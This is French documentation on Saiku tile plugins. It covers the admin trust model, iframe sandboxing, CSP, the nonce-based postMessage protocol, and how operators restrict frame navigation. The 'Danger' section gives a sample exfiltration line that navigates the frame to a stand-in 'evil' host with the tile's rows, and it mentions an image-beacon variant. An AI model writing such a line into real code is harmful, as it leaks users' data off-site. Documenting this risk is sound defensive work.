Plugins (avancé)

Un plugin de tuile est la tuile personnalisée la plus puissante : un widget HTML + JavaScript autonome qui s’affiche dans un iframe verrouillé en bac à sable, pendant que Saiku lui fournit les lignes de la requête de la tuile. Utilisez-le quand ni les tuiles intégrées ni les rendus personnalisés déclaratifs ne peuvent dessiner ce qu’il vous faut — une jauge sur mesure, une mise en page inhabituelle, un widget conçu pour un besoin précis.

Les plugins sont une fonctionnalité avancée, contrôlée par l’administrateur. Cette page parle surtout de leur modèle de confiance, parce que bien le poser compte davantage que la mécanique.

Attention

Les plugins sont du code de confiance installé par l’administrateur. Un auteur de dashboard ne peut que choisir par son nom un plugin déjà installé — il n’existe aucun moyen de coller du HTML ou du JavaScript brut au travers d’une tuile. Installer un plugin est un acte administratif, équivalent à déposer un JAR de plugin serveur sur la machine : vous accordez à ce code la confiance de s’exécuter dans les navigateurs de vos utilisateurs avec les données que ses tuiles affichent.

Comment un plugin s’installe

Un opérateur (pas un utilisateur de dashboard) dépose un bundle dans un dossier du serveur Saiku :

${saiku.home}/tile-plugins/
  records-bars/
    plugin.json    # id, label, and an optional option schema
    plugin.html    # self-contained widget: inline CSS/JS, data: images only

• plugin.json déclare l’id du plugin (un slug comme records-bars), un label d’affichage et, en option, un optionSchema décrivant les options configurables par l’auteur.
• plugin.html est le widget lui-même — un unique document HTML autonome avec CSS et JavaScript en ligne (pas de scripts, styles ou polices distants ; les images doivent être des URI data:).

Le serveur scanne le dossier et rend les plugins installés sélectionnables. Un auteur de dashboard en ajoute un depuis + Ajouter une tuile, où chaque plugin installé apparaît comme sa propre entrée ; la tuile persistée ne stocke que l’id du plugin, jamais de balisage.

Saiku livre un exemple d’amorce — records-bars, un simple histogramme d’enregistrements — pour qu’une installation neuve dispose d’un plugin fonctionnel à regarder et à copier.

Ce que le bac à sable confine — et ce qu’il ne confine pas

Chaque frame de plugin tourne derrière deux couches de confinement.

1. Un iframe sandbox="allow-scripts" (délibérément sans allow-same-origin). Le frame tourne à l’origine opaque null, donc le code du plugin ne peut pas :

• lire le DOM, les cookies ou le localStorage de la page parente ;
• voir la session Saiku, un jeton d’intégration, ou des données d’une autre origine ;
• ouvrir des popups, soumettre des formulaires, naviguer la fenêtre supérieure ou déclencher des téléchargements.

2. Une Content-Security-Policy stricte sur le frame (default-src 'none', pas de connect-src). Cela bloque la sortie réseau en arrière-plan — fetch, XHR, WebSocket, EventSource, sendBeacon, les sous-ressources distantes et le classique beacon <img src="https://evil…">.

Danger

Ce qu’aucune des deux couches n’arrête : un plugin peut naviguer son propre frame. Un frame en bac à sable a toujours le droit de définir sa propre location, et aucune directive fetch de CSP ne gouverne la navigation. Un plugin peut donc toujours envoyer hors du site les données affichées dans sa propre tuile (p. ex. location = "https://evil/?d=" + rows).

Le bac à sable isole totalement l’origine Saiku — un plugin ne voit jamais rien au-delà des lignes de sa propre tuile — mais ces lignes ne sont pas confidentielles vis-à-vis du plugin lui-même. C’est exactement pour cela que le code des plugins est installé par l’administrateur et digne de confiance : celui qui installe un plugin lui confie les données que la tuile de ce plugin affiche.

Fermer le canal d’auto-navigation

Si vous voulez fermer aussi le canal d’exfiltration par auto-navigation, un opérateur définit un frame-src restrictif dans la CSP de déploiement via saiku.security.csp (au niveau du reverse proxy ou de la configuration CSP du launcher). Contraindre les destinations de navigation des frames de plugin est le seul moyen de gouverner la navigation — le bac à sable par tuile et la CSP ne le peuvent pas, par conception.

Le protocole entre plugin et hôte

L’hôte et le plugin ne communiquent que par window.postMessage. Au montage, l’hôte injecte un nonce cryptographique propre au frame ; tout message qu’un plugin envoie doit renvoyer ce nonce, sinon il est jeté (l’origine d’un frame en bac à sable est la chaîne "null", le nonce est donc le seul authentifiant fiable).

• Hôte → plugin : init (les options de l’auteur), data (les enregistrements de la requête), theme et resize.
• Plugin → hôte : ready (je suis chargé), resize (fixe ma hauteur, s’il te plaît — bornée par l’hôte), filter (une sélection, que l’hôte re-résout face au cube vivant — un plugin ne peut pas injecter de MDX) et error (rendu en texte brut uniquement).

L’hôte valide et borne tout ce qu’un plugin envoie ; un message malformé ou non authentifié est ignoré plutôt qu’exécuté.

Plugins dans les Apps intégrées

Quand une App est intégrée, ses tuiles de plugin sont servies portées par le jeton : un invité peut charger exactement les plugins référencés par les tuiles de l’App intégrée et rien d’autre. Le même confinement bac à sable + CSP s’applique, et la même réserve sur l’auto-navigation tient — la consigne frame-src ci-dessus est donc aussi le levier de l’opérateur pour les Apps intégrées.

Liens connexes

• Tuiles personnalisées — les rendus déclaratifs, plus sûrs et sans code ; ne prenez un plugin que lorsqu’ils n’y arrivent pas.
• Intégrer une App — comment la portée par jeton s’applique aux tuiles de plugin.
• Comment vos données sont traitées — le modèle plus large de traitement des données.